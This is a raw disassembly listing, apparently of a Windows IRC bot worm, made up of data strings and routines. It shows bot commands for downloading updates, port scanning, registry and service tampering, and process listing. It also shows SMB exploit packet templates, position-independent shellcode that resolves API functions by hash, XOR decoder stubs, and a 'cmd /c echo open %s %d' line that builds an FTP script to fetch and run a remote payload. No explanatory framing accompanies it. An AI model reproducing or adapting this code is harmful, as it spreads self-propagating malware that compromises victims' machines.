aS_2		db '%s\*',0             ; DATA XREF: sub_40CF60+1Fo
		align 10h
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D479o
		align 10h
aBai_0		db ' -bai ',0           ; DATA XREF: sub_40D580+3ABo
		align 4
aSCS		db '%s%c%s',0           ; DATA XREF: sub_40D580+326o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D580+D1o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D580+C4o
		align 10h
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o
		align 10h
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D580+98o
		align 10h
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo
		align 4
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DB40+381o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40ED70+6Ao
		align 8
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40ED70+21o
					; sub_40EF90+Ao ...
		align 4
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F441o
		align 10h
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o
		align 10h
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F289o
		align 8
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo
		align 10h
		dd 0
asc_443C84	db ' :',0               ; DATA XREF: sub_40FF60+E2Bo
					; sub_40FF60+1118o ...
		align 4
asc_443C88:				; DATA XREF: sub_40FF60+CACo
					; sub_40FF60+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_40FF60:loc_410928o
					; sub_40FF60:loc_410BB7o
aS_3		db ' -s',0              ; DATA XREF: sub_40FF60:loc_4108FFo
					; sub_40FF60:loc_410B96o
asc_443C94:				; DATA XREF: sub_40FF60+871o
					; sub_40FF60:loc_410BD8o ...
		unicode	0, <:>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do
					; sub_40FF60+732o ...
		align 8
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_40FF60+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 10h
		dd 0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40FF60+2C4o
					; sub_4126B0+91o ...
		dd 0
dword_443CD4	dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CE4	dd 0A0D7325h, 0						; sub_42D1A0+71o
dword_443CEC	dd 25207325h, 253A2073h, 0A0D73h, 0					; sub_412970+8Fo
dword_443CFC	dd 4255505Bh, 5D43494Ch, 0dword_443D08	dd 4952505Bh, 45544156h, 5Dhdword_443D14	dd 202Eh						; sub_4126B0+E5o
dword_443D18	dd 3A6E616Ch, 20haUptime		db 'uptime',0           ; DATA XREF: ___:loc_412F27o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412ED4o
		align 10h
aId		db 'id',0               ; DATA XREF: ___:loc_412E7Ao
		align 4
asc_443D34:				; DATA XREF: ___:loc_412E63o
		dw 3Ch
		unicode	0, <>,0
asc_443D38:				; DATA XREF: ___:loc_412E4Co
		dw 3Eh
		unicode	0, <>,0
asc_443D3C	db '==',0               ; DATA XREF: ___:loc_412E35o
		align 10h
asc_443D40	db '!=',0               ; DATA XREF: ___:00412E21o
		align 4
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4137E0+B7o
		align 4
aSS_7		db '%s: %s',0           ; DATA XREF: sub_4192C0+312o
		align 4
aSD_0		db '%s: %d',0           ; DATA XREF: sub_4192C0+2EAo
		align 4
aSD_1		db '%s:%d',0            ; DATA XREF: sub_4192C0+272o
					; sub_4192C0+297o
		align 4
aListening	db 'listening',0        ; DATA XREF: sub_4192C0+210o
		align 10h
aEstablished	db 'established',0      ; DATA XREF: sub_4192C0+205o
		align 10h
off_443D80	dd offset dword_504354	; DATA XREF: sub_4192C0+140o
					; ___:0042B302o ...
dword_443D84	dd 2D464544h, 504354h, 0					; sub_4192C0+12Eo
dword_443D90	dd 652Dh	dword_443D94	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o
		align 10h
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419CF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419CCCo
		align 10h
byte_443DD0	db 1			; DATA XREF: sub_41A290r
		align 4
dword_443DD4	dd 2Eh							; ___:0041B235o ...
dword_443DD8	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_443E24	dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0dword_443E38	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E4C	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E84	dd 63257325h, 0						; sub_41F860+E5o
dword_443E8C	dd 72h		dword_443E90	dd 30h							; sub_424840+327o
dword_443E94	dd 3039h	dword_443E98	dd 383631h	dword_443E9C	dd 323931h	dword_443EA0	dd 3631h	dword_443EA4	dd 323731h	dword_443EA8	dd 3031h	off_443EAC	dd offset loc_5C005C	; DATA XREF: ___:0041C117r
					; ___:0041C287r
word_443EB0	dw 0			; DATA XREF: ___:0041C121r
					; ___:0041C291r
		align 4
off_443EB4	dd offset dword_49005C	; DATA XREF: ___:0041C0E6r
					; ___:0041C256r
dword_443EB8	dd 430050h						; ___:0041C25Br
dword_443EBC	dd 24h							; ___:0041C27Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o
		align 4
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D830+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D830+567o
		align 8
asc_443EF8	db 0Dh,0Ah		; DATA XREF: sub_41D830+48Fo
		db 0Dh,0Ah,0
		align 10h
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D830+3F1o
		align 10h
aWb		db 'wb',0               ; DATA XREF: sub_41D830+3C0o
					; ___:0041FC87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D830+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D830+2A3o
		align 4
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D830+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D830+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D830+1CEo
		align 10h
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E37Eo
		align 10h
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E32Fo
		dd 0
dword_443FFC	dd 28737973h, 6F626572h, 29746Fh, 0dword_44400C	dd 6469706Bh, 7325203Ah, 0dword_444018	dd 203A736Bh, 7325hdword_444020	dd 202E6425h, 7325202Fh, 0dword_44402C	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o
		align 10h
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+694o
					; sub_41EF30+6A9o
		align 4
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30:loc_41F595o
					; sub_41EF30+677o
		align 10h
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41EF30+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41EF30+53Fo
		align 10h
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+505o
					; sub_41EF30+51Ao
		align 4
asc_4440A8:				; DATA XREF: sub_41EF30+2EFo
					; sub_41EF30+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+286o
					; sub_41EF30+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+254o
					; sub_41EF30+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+222o
					; sub_41EF30+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41EF30+1F3o
					; sub_41EF30+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo
		align 8
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co
		align 4
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FCBDo
		align 4
dword_444114	dd 6E6B6E75h						; sub_420530+C4r
dword_444118	dd 6E776Fh			align 10h
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4200F0+CBo
					; sub_4207E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o
					; sub_4207E0+2BEo
		align 8
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o
		align 8
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420530+52o
		align 10h
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420530+20o
					; sub_420530+34o
		align 4
aSS_5		db '[%s] [%s]',0        ; DATA XREF: sub_4207E0+34Co
		align 4
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4207E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o
		align 10h
aThemes		db 'Themes',0           ; DATA XREF: sub_4207E0+1F6o
		align 4
aSrservice	db 'srservice',0        ; DATA XREF: sub_4207E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4207E0+1E0o
		align 10h
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4207E0+1D5o
		align 4
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4207E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4207E0+1BFo
		align 10h
aW32time	db 'W32Time',0          ; DATA XREF: sub_4207E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4207E0+1A9o
		align 4
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4207E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4207E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4207E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4207E0+17Do
		align 8
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4207E0+172o
		align 10h
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4207E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4207E0+15Co
		align 8
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4207E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4207E0+13Bo
		align 10h
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4207E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4207E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4207E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4207E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o
		align 4
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4207E0+F9o
		align 8
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4207E0+EEo
		align 4
off_444324	dd offset word_616C4E	; DATA XREF: sub_4207E0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_4207E0+D8o
		align 10h
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4207E0+CDo
		align 4
off_44433C	dd offset byte_4D444D	; DATA XREF: sub_4207E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4207E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o
		align 10h
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4207E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4207E0+A5o
		align 10h
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do
		align 10h
		dd 2 dup(0)
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4207E0+95o
		align 8
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4207E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4207E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4207E0+7Do
		align 4
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4207E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4207E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4207E0+65o
		align 4
aBrowser	db 'Browser',0          ; DATA XREF: sub_4207E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4207E0+55o
					; sub_4207E0:loc_420A6Bo
		align 10h
asc_444410:				; DATA XREF: sub_420E10:loc_420ECFo
					; sub_420E10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420E10+94o
					; sub_420E10:loc_42107Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420E10+84o
					; sub_420E10+257o ...
		align 10h
aAsn		db 'asn',0              ; DATA XREF: sub_4227F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_444448	dd 1BDh							; sub_422A40+310o ...
off_44444C	dd offset sub_401811	; DATA XREF: ___:00423E93r
dword_444450	dd 0							; sub_4235F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401811h, 0
		dd 1, 19h dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422A40+8F3o
		db 0
		align 4
		dd 3 dup(0)
aSequential	db 'sequential',0       ; DATA XREF: sub_422A40+8B3o
		align 8
aRandom		db 'random',0           ; DATA XREF: sub_422A40+8ACo
		align 10h
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o
		align 4
		dd 0
aB		db ' -b',0              ; DATA XREF: sub_422A40+747o
off_444580	dd offset dword_612D20	; DATA XREF: sub_422A40+737o
					; sub_422A40+7A3o ...
dword_444584	dd 722D20h						; sub_422A40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o
		align 10h
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422A40+397o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422A40+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422A40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o
		align 10h
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo
		align 8
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o
		align 8
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o
		align 10h
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o
		align 8
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422A40+6Do
		align 4
		dd 0
dword_44467C	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o
		align 10h
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423B25o
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o
		align 10h
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo
		align 8
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao
		align 10h
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423CD6o
		align 10h
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004241D7o
		align 4
		dd 3 dup(0)
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424126o
		dd 3 dup(0)
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042406Fo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_424840+BDo
		align 10h
dword_444840	dd 10FF8h, 0	dword_444848	dd 10FF8h	dword_44484C	dd 7FFDF020h, 0	dword_444854	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4448DC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_44490C	dd 0		dword_444910	dd 800000D4h			align 8

; =============== S U B	R O U T	I N E =======================================



sub_444918	proc near		; DATA XREF: sub_425020+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_444A14
		push	dword ptr [esi]
		push	63D61209h
		call	sub_444A2A
		mov	[esi+8], eax
		call	sub_4449DD
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_444A2A
		mov	[esi+0Ch], eax
		call	sub_44498F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_444A2A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_444918	endp


; =============== S U B	R O U T	I N E =======================================



sub_44498F	proc near		; CODE XREF: sub_444918+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4449B8
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_44498F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4449B8	proc near		; CODE XREF: sub_44498F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_4449C7:				; CODE XREF: sub_4449B8+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4449D4
		inc	ebx
		jmp	short loc_4449C7
; ---------------------------------------------------------------------------


loc_4449D4:				; CODE XREF: sub_4449B8+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4449B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4449DD	proc near		; CODE XREF: sub_444918+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4449F5:				; CODE XREF: sub_4449DD+1Ej
		cmp	[ecx], ebx
		jz	short loc_4449FD
		mov	ecx, [ecx]
		jmp	short loc_4449F5
; ---------------------------------------------------------------------------


loc_4449FD:				; CODE XREF: sub_4449DD+1Aj
		mov	edx, edi


loc_4449FF:				; CODE XREF: sub_4449DD+2Aj
		cmp	[edx+4], ebx
		jz	short loc_444A09
		mov	edx, [edx+4]
		jmp	short loc_4449FF
; ---------------------------------------------------------------------------


loc_444A09:				; CODE XREF: sub_4449DD+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4449DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A14	proc near		; CODE XREF: sub_444918+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_444A14	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A2A	proc near		; CODE XREF: sub_444918+16p
					; sub_444918+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_444A40:				; CODE XREF: sub_444A2A+33j
		jecxz	short loc_444A7A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_444A4D:				; CODE XREF: sub_444A2A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_444A59
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_444A4D
; ---------------------------------------------------------------------------


loc_444A59:				; CODE XREF: sub_444A2A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_444A40
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_444A7A:				; CODE XREF: sub_444A2A:loc_444A40j
					; sub_444A2A:loc_444A7Aj
		jmp	short loc_444A7A
sub_444A2A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_444A80	proc near		; DATA XREF: sub_425020+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_444AD2
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_444A9D:				; CODE XREF: sub_444A80+38j
		jecxz	short loc_444ACD
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_444AA8:				; CODE XREF: sub_444A80+32j
		lodsb
		test	al, al
		jz	short loc_444AB4
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_444AA8
; ---------------------------------------------------------------------------


loc_444AB4:				; CODE XREF: sub_444A80+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_444A9D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_444ACD:				; CODE XREF: sub_444A80:loc_444A9Dj
		mov	[esp+arg_0], ebx
		retn
sub_444A80	endp


; =============== S U B	R O U T	I N E =======================================



sub_444AD2	proc near		; CODE XREF: sub_444A80+7p

; FUNCTION CHUNK AT 00444B0A SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_444AEB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_444AF6
; ---------------------------------------------------------------------------


loc_444AEB:				; CODE XREF: sub_444AD2+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_444AF6:				; CODE XREF: sub_444AD2+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_444B0A
sub_444AD2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444AFD	proc near		; CODE XREF: sub_444AD2:loc_444B0Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_444AFD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444AD2


loc_444B0A:				; CODE XREF: sub_444AD2+29j
		call	sub_444AFD
; END OF FUNCTION CHUNK	FOR sub_444AD2
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_444BA4	dd 23h		dword_444BA8	dd 60h		dword_444BAC	dd 62B0606h, 2050501h, 0A0hdword_444BB8	dd 0A1h		dword_444BBC	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424840+16Do
		align 4


loc_444BC8:				; DATA XREF: sub_424840+100o
		jmp	short near ptr dword_444BD0
; ---------------------------------------------------------------------------
		align 10h
dword_444BD0	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425020+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------


loc_444C78:				; DATA XREF: sub_4254E0+CCo
		jmp	short loc_444C7C
; ---------------------------------------------------------------------------


loc_444C7A:				; CODE XREF: ___:loc_444C7Cp
		jmp	short loc_444C81
; ---------------------------------------------------------------------------


loc_444C7C:				; CODE XREF: ___:loc_444C78j
		call	loc_444C7A


loc_444C81:				; CODE XREF: ___:loc_444C7Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_444C86	dw 0FFFFh		; DATA XREF: sub_4254E0+D3w
		db 80h,	73h, 0Eh
byte_444C8B	db 0FFh			; DATA XREF: sub_4254E0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_444C90:				; DATA XREF: sub_4254E0+A7o
		jmp	short loc_444C94
; ---------------------------------------------------------------------------


loc_444C92:				; CODE XREF: ___:loc_444C94p
		jmp	short loc_444C99
; ---------------------------------------------------------------------------


loc_444C94:				; CODE XREF: ___:loc_444C90j
		call	loc_444C92


loc_444C99:				; CODE XREF: ___:loc_444C92j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_444C9D	db 0FFh			; DATA XREF: sub_4254E0+AEw
		dw 7380h
		db 0Ch
byte_444CA1	db 0FFh			; DATA XREF: sub_4254E0+B4w
		dw 0E243h
		dd 0F9h
dword_444CA8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_425270+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_444D0C	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
